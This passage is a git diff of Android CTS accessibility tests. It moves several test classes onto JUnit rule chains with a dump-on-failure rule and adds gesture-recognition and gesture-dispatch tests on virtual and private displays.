+ mEmbeddedDisplayActivity = (EmbeddedDisplayActivity)
+ am.waitForActivityWithTimeout(DEFAULT_TIMEOUT_MS);
+ assertNotNull(mEmbeddedDisplayActivity);
+ }
+
+ private boolean supportsMultiDisplay() {
+ return mContext.getPackageManager().hasSystemFeature(
+ FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
+ }
+
+ public static class EmbeddedDisplayParentActivity extends Activity {
+ private ActivityView mActivityView;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mActivityView = new ActivityView(this);
+ setContentView(mActivityView);
+ }
+
+ ActivityView getActivityView() {
+ return mActivityView;
+ }
+ }
+
+ public static class EmbeddedDisplayActivity extends AccessibilityTestActivity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.accessibility_embedded_display_test);
+ }
+ }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 60ef850..e9a0fe7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -16,6 +16,7 @@
package android.accessibilityservice.cts;
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
@@ -45,6 +46,7 @@
import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.verify;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibility.cts.common.ShellCommandBuilder;
import android.accessibilityservice.AccessibilityServiceInfo;
@@ -101,6 +103,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.Iterator;
@@ -131,10 +134,17 @@
private AccessibilityEndToEndActivity mActivity;
- @Rule
- public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -502,8 +512,9 @@
public void testInterrupt_notifiesService() {
sInstrumentation
.getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- sInstrumentation, InstrumentedAccessibilityService.class);
+ InstrumentedAccessibilityService service =
+ enableService(InstrumentedAccessibilityService.class);
+
try {
assertFalse(service.wasOnInterruptCalled());
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
index 1db66a2..e36d1ee 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
@@ -14,7 +14,6 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
import static android.content.pm.PackageManager.FEATURE_FINGERPRINT;
import static org.junit.Assert.assertFalse;
@@ -23,6 +22,8 @@
import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.verify;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.FingerprintGestureController;
import android.accessibilityservice.FingerprintGestureController.FingerprintGestureCallback;
import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
@@ -35,10 +36,10 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
@@ -57,10 +58,20 @@
FingerprintGestureController mFingerprintGestureController;
CancellationSignal mCancellationSignal = new CancellationSignal();
- @Rule
- public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
+ private InstrumentedAccessibilityServiceTestRule<StubFingerprintGestureService> mServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(StubFingerprintGestureService.class);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mServiceRule)
+ .around(mDumpOnFailureRule);
@Mock FingerprintManager.AuthenticationCallback mMockAuthenticationCallback;
@Mock FingerprintGestureCallback mMockFingerprintGestureCallback;
@@ -72,17 +83,11 @@
mFingerprintManager = instrumentation.getContext().getPackageManager()
.hasSystemFeature(FEATURE_FINGERPRINT)
? instrumentation.getContext().getSystemService(FingerprintManager.class) : null;
- mFingerprintGestureService = StubFingerprintGestureService.enableSelf(instrumentation);
+ mFingerprintGestureService = mServiceRule.getService();
mFingerprintGestureController =
mFingerprintGestureService.getFingerprintGestureController();
}
- @After
- public void tearDown() throws Exception {
- runIfNotNull(mFingerprintGestureService,
- service -> service.runOnServiceSync(service::disableSelf));
- }
-
@Test
public void testGestureDetectionListener_whenAuthenticationStartsAndStops_calledBack() {
if (!mFingerprintGestureController.isGestureDetectionAvailable()) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 43c12e9..b7ccc19 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -26,8 +26,8 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.R;
import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
import android.app.Instrumentation;
import android.app.UiAutomation;
@@ -46,6 +46,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.LinkedList;
@@ -65,10 +66,17 @@
private AccessibilityFocusAndInputFocusSyncActivity mActivity;
- @Rule
- public ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 24c00ff..2a2aa53 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -14,21 +14,29 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
import static android.accessibilityservice.cts.utils.GestureUtils.click;
import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
import static org.junit.Assert.assertEquals;
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.verify;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.AccessibilityGestureEvent;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
import android.app.Instrumentation;
+import android.app.UiAutomation;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Path;
@@ -36,15 +44,19 @@
import android.graphics.PointF;
import android.platform.test.annotations.AppModeFull;
import android.util.DisplayMetrics;
+import android.view.Display;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
+import org.junit.AfterClass;
import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
@@ -59,6 +71,21 @@
private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
+ private static Instrumentation sInstrumentation;
+ private static UiAutomation sUiAutomation;
+
+ private InstrumentedAccessibilityServiceTestRule<GestureDetectionStubAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ GestureDetectionStubAccessibilityService.class, false);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
+
// Test AccessibilityService that collects gestures.
GestureDetectionStubAccessibilityService mService;
boolean mHasTouchScreen;
@@ -69,13 +96,23 @@
PointF mTapLocation;
@Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
+ @BeforeClass
+ public static void oneTimeSetup() {
+ sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ sUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ }
+
+ @AfterClass
+ public static void finalTearDown() {
+ sUiAutomation.destroy();
+ }
+
@Before
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
// Check that device has a touch screen.
- Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- PackageManager pm = instrumentation.getContext().getPackageManager();
+ PackageManager pm = sInstrumentation.getContext().getPackageManager();
mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
if (!mHasTouchScreen) {
@@ -84,7 +121,7 @@
// Find screen size, check that it is big enough for gestures.
// Gestures will start in the center of the screen, so we need enough horiz/vert space.
- WindowManager windowManager = (WindowManager) instrumentation.getContext()
+ WindowManager windowManager = (WindowManager) sInstrumentation.getContext()
.getSystemService(Context.WINDOW_SERVICE);
final DisplayMetrics metrics = new DisplayMetrics();
windowManager.getDefaultDisplay().getRealMetrics(metrics);
@@ -97,15 +134,7 @@
return;
}
// Start stub accessibility service.
- mService = GestureDetectionStubAccessibilityService.enableSelf(instrumentation);
- }
-
- @After
- public void tearDown() throws Exception {
- if (!mHasTouchScreen || !mScreenBigEnough) {
- return;
- }
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+ mService = mServiceRule.enableService();
}
@Test
@@ -142,27 +171,101 @@
testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP);
}
+ @Test
+ @AppModeFull
+ public void testRecognizeGesturePathOnVirtualDisplay() throws Exception {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+
+ try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+ final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+ sInstrumentation.getTargetContext(), false).getDisplayId();
+ // Launches an activity on virtual display to meet a real situation.
+ final Activity activity = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+ sInstrumentation, sUiAutomation, AccessibilityWindowQueryActivity.class,
+ displayId);
+ // Compute gesture stroke lengths, in pixels.
+ final int dx = mStrokeLenPxX;
+ final int dy = mStrokeLenPxY;
+
+ try {
+ // Test recognizing various gestures.
+ testPath(p(-dx, +0), AccessibilityService.GESTURE_SWIPE_LEFT, displayId);
+ testPath(p(+dx, +0), AccessibilityService.GESTURE_SWIPE_RIGHT, displayId);
+ testPath(p(+0, -dy), AccessibilityService.GESTURE_SWIPE_UP, displayId);
+ testPath(p(+0, +dy), AccessibilityService.GESTURE_SWIPE_DOWN, displayId);
+
+ testPath(p(-dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_LEFT_AND_RIGHT,
+ displayId);
+ testPath(p(-dx, +0), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_UP,
+ displayId);
+ testPath(p(-dx, +0), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_DOWN,
+ displayId);
+
+ testPath(p(+dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_LEFT,
+ displayId);
+ testPath(p(+dx, +0), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_UP,
+ displayId);
+ testPath(p(+dx, +0), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_DOWN,
+ displayId);
+
+ testPath(p(+0, -dy), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_LEFT,
+ displayId);
+ testPath(p(+0, -dy), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_RIGHT,
+ displayId);
+ testPath(p(+0, -dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_UP_AND_DOWN,
+ displayId);
+
+ testPath(p(+0, +dy), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_LEFT,
+ displayId);
+ testPath(p(+0, +dy), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_RIGHT,
+ displayId);
+ testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP,
+ displayId);
+ } finally {
+ sInstrumentation.runOnMainSync(() -> {
+ activity.finish();
+ });
+ sInstrumentation.waitForIdleSync();
+ }
+ }
+ }
+
/** Convenient short alias to make a Point. */
private static Point p(int x, int y) {
return new Point(x, y);
}
- /** Test recognizing path from PATH_START to PATH_START+delta. */
+ /** Test recognizing path from PATH_START to PATH_START+delta on default display. */
private void testPath(Point delta, int gestureId) {
- testPath(delta, null, gestureId);
+ testPath(delta, null, gestureId, Display.DEFAULT_DISPLAY);
}
- /** Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. */
+ /** Test recognizing path from PATH_START to PATH_START+delta on specified display. */
+ private void testPath(Point delta, int gestureId, int displayId) {
+ testPath(delta, null, gestureId, displayId);
+ }
+ /** Test recognizing path from PATH_START to PATH_START+delta on default display. */
private void testPath(Point delta1, Point delta2, int gestureId) {
+ testPath(delta1, delta2, gestureId, Display.DEFAULT_DISPLAY);
+ }
+
+ /**
+ * Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. on specified
+ * display.
+ */
+ private void testPath(Point delta1, Point delta2, int gestureId, int displayId) {
// Create gesture motions.
int numPathSegments = (delta2 == null) ? 1 : 2;
long pathDurationMs = numPathSegments * STROKE_MS;
GestureDescription gesture = new GestureDescription.Builder()
.addStroke(new StrokeDescription(
linePath(mCenter, delta1, delta2), 0, pathDurationMs, false))
+ .setDisplayId(displayId)
.build();
- // Dispatch gesture motions.
+ // Dispatch gesture motions to specified display with GestureDescription..
// Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
// because accessibility services read gesture events upstream from the point where
// sendPointerSync() injects events.
@@ -173,9 +276,16 @@
.onCompleted(any());
// Wait for gesture recognizer, and check recognized gesture.
- mService.waitUntilGesture();
- assertEquals(1, mService.getGesturesSize());
- assertEquals(gestureId, mService.getGesture(0));
+ mService.waitUntilGestureInfo();
+ if(displayId == Display.DEFAULT_DISPLAY) {
+ assertEquals(1, mService.getGesturesSize());
+ assertEquals(gestureId, mService.getGesture(0));
+ }
+
+ AccessibilityGestureEvent expectedGestureEvent = new AccessibilityGestureEvent(gestureId,
+ displayId);
+ assertEquals(1, mService.getGestureInfoSize());
+ assertEquals(expectedGestureEvent.toString(), mService.getGestureInfo(0).toString());
}
/** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
@@ -196,25 +306,84 @@
return;
}
- assertEventAfterGesture(swipe(),
+ assertEventAfterGesture(swipe(Display.DEFAULT_DISPLAY),
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
- assertEventAfterGesture(tap(),
+ assertEventAfterGesture(tap(Display.DEFAULT_DISPLAY),
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START,
AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END,
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
- assertEventAfterGesture(doubleTap(),
+ assertEventAfterGesture(doubleTap(Display.DEFAULT_DISPLAY),
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
- assertEventAfterGesture(doubleTapAndHold(),
+ assertEventAfterGesture(doubleTapAndHold(Display.DEFAULT_DISPLAY),
AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
}
+ @Test
+ @AppModeFull
+ public void testVerifyGestureTouchEventOnVirtualDisplay() throws Exception {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+
+ try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+ final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+ sInstrumentation.getTargetContext(),
+ false).getDisplayId();
+
+ // Launches an activity on virtual display to meet a real situation.
+ final Activity activity = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+ sInstrumentation, sUiAutomation, AccessibilityWindowQueryActivity.class,
+ displayId);
+ try {
+ assertEventAfterGesture(swipe(displayId),
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+ assertEventAfterGesture(tap(displayId),
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+ AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+ assertEventAfterGesture(doubleTap(displayId),
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+
+ assertEventAfterGesture(doubleTapAndHold(displayId),
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_START,
+ AccessibilityEvent.TYPE_TOUCH_INTERACTION_END);
+ } finally {
+ sInstrumentation.runOnMainSync(() -> {
+ activity.finish();
+ });
+ sInstrumentation.waitForIdleSync();
+ }
+ }
+ }
+
+ @Test
+ @AppModeFull
+ public void testDispatchGesture_privateDisplay_gestureCancelled() throws Exception{
+ try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+ final int displayId = displaySession.createDisplayWithDefaultDisplayMetricsAndWait
+ (sInstrumentation.getTargetContext(),
+ true).getDisplayId();
+ GestureDescription gesture = swipe(displayId);
+ mService.clearGestures();
+ mService.runOnServiceSync(() ->
+ mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
+ verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
+ .onCancelled(any());
+ }
+ }
+
/** Test touch for accessibility events */
private void assertEventAfterGesture(GestureDescription gesture, int... events) {
mService.clearEvents();
@@ -226,40 +395,45 @@
mService.waitUntilEvent(events.length);
assertEquals(events.length, mService.getEventsSize());
for (int i = 0; i < events.length; i++) {
- assertEquals(events[i], mService.getEvent(i));
+ assertEquals(AccessibilityEvent.eventTypeToString(events[i]),
+ AccessibilityEvent.eventTypeToString(mService.getEvent(i)));
}
}
- private GestureDescription swipe() {
+ private GestureDescription swipe(int displayId) {
GestureDescription.Builder builder = new GestureDescription.Builder();
StrokeDescription swipe = new StrokeDescription(
linePath(mCenter, p(0, mStrokeLenPxY), null), 0, STROKE_MS, false);
builder.addStroke(swipe);
+ builder.setDisplayId(displayId);
return builder.build();
}
- private GestureDescription tap() {
+ private GestureDescription tap(int displayId) {
GestureDescription.Builder builder = new GestureDescription.Builder();
StrokeDescription tap = click(mTapLocation);
builder.addStroke(tap);
+ builder.setDisplayId(displayId);
return builder.build();
}
- private GestureDescription doubleTap() {
+ private GestureDescription doubleTap(int displayId) {
GestureDescription.Builder builder = new GestureDescription.Builder();
StrokeDescription tap1 = click(mTapLocation);
StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation));
builder.addStroke(tap1);
builder.addStroke(tap2);
+ builder.setDisplayId(displayId);
return builder.build();
}
- private GestureDescription doubleTapAndHold() {
+ private GestureDescription doubleTapAndHold(int displayId) {
GestureDescription.Builder builder = new GestureDescription.Builder();
StrokeDescription tap1 = click(mTapLocation);
StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, longClick(mTapLocation));
builder.addStroke(tap1);
builder.addStroke(tap2);
+ builder.setDisplayId(displayId);
return builder.build();
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 2c5da19..a56cf07 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,31 +14,46 @@
package android.accessibilityservice.cts;
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
import static android.accessibilityservice.cts.utils.AsyncUtils.await;
import static android.accessibilityservice.cts.utils.AsyncUtils.awaitCancellation;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_CANCEL;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_MOVE;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_POINTER_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_POINTER_UP;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
import static android.accessibilityservice.cts.utils.GestureUtils.add;
import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
import static android.accessibilityservice.cts.utils.GestureUtils.click;
import static android.accessibilityservice.cts.utils.GestureUtils.diff;
import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.isAtPoint;
import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
import static android.accessibilityservice.cts.utils.GestureUtils.path;
import static android.accessibilityservice.cts.utils.GestureUtils.times;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import static org.hamcrest.CoreMatchers.allOf;
import static org.hamcrest.CoreMatchers.any;
import static org.hamcrest.CoreMatchers.both;
import static org.hamcrest.CoreMatchers.everyItem;
import static org.hamcrest.CoreMatchers.hasItem;
import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
import static java.util.concurrent.TimeUnit.MILLISECONDS;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
+import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Matrix;
@@ -47,7 +62,6 @@
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
import android.util.Log;
import android.view.Display;
import android.view.MotionEvent;
@@ -56,9 +70,15 @@
import android.view.WindowManager;
import android.widget.TextView;
-import org.hamcrest.Description;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.hamcrest.Matcher;
-import org.hamcrest.TypeSafeMatcher;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.List;
@@ -68,26 +88,28 @@
* Verify that gestures dispatched from an accessibility service show up in the current UI
*/
@AppModeFull
-public class AccessibilityGestureDispatchTest extends
- ActivityInstrumentationTestCase2<AccessibilityGestureDispatchTest.GestureDispatchActivity> {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureDispatchTest {
private static final String TAG = AccessibilityGestureDispatchTest.class.getSimpleName();
private static final int GESTURE_COMPLETION_TIMEOUT = 5000; // millis
private static final int MOTION_EVENT_TIMEOUT = 1000; // millis
- private static final Matcher<MotionEvent> IS_ACTION_DOWN =
- new MotionEventActionMatcher(MotionEvent.ACTION_DOWN);
- private static final Matcher<MotionEvent> IS_ACTION_POINTER_DOWN =
- new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_DOWN);
- private static final Matcher<MotionEvent> IS_ACTION_UP =
- new MotionEventActionMatcher(MotionEvent.ACTION_UP);
- private static final Matcher<MotionEvent> IS_ACTION_POINTER_UP =
- new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_UP);
- private static final Matcher<MotionEvent> IS_ACTION_CANCEL =
- new MotionEventActionMatcher(MotionEvent.ACTION_CANCEL);
- private static final Matcher<MotionEvent> IS_ACTION_MOVE =
- new MotionEventActionMatcher(MotionEvent.ACTION_MOVE);
+ private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+ new ActivityTestRule<>(GestureDispatchActivity.class, false, false);
+ private InstrumentedAccessibilityServiceTestRule<StubGestureAccessibilityService> mServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(
+ StubGestureAccessibilityService.class, false);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mServiceRule)
+ .around(mDumpOnFailureRule);
final List<MotionEvent> mMotionEvents = new ArrayList<>();
StubGestureAccessibilityService mService;
@@ -100,27 +122,25 @@
boolean mHasTouchScreen;
boolean mHasMultiTouch;
- public AccessibilityGestureDispatchTest() {
- super(GestureDispatchActivity.class);
- }
+ private GestureDispatchActivity mActivity;
- @Override
+ @Before
public void setUp() throws Exception {
- super.setUp();
- PackageManager pm = getInstrumentation().getContext().getPackageManager();
+ Instrumentation instrumentation = getInstrumentation();
+ PackageManager pm = instrumentation.getContext().getPackageManager();
mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
if (!mHasTouchScreen) {
return;
}
- getActivity().waitForEnterAnimationComplete();
+ mActivity = launchActivityAndWaitForItToBeOnscreen(instrumentation,
+ instrumentation.getUiAutomation(), mActivityRule);
mHasMultiTouch = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN_MULTITOUCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT);
- mFullScreenTextView =
- (TextView) getActivity().findViewById(R.id.full_screen_text_view);
+ mFullScreenTextView = mActivity.findViewById(R.id.full_screen_text_view);
getInstrumentation().runOnMainSync(() -> {
final int midX = mFullScreenTextView.getWidth() / 2;
final int midY = mFullScreenTextView.getHeight() / 2;
@@ -129,22 +149,13 @@
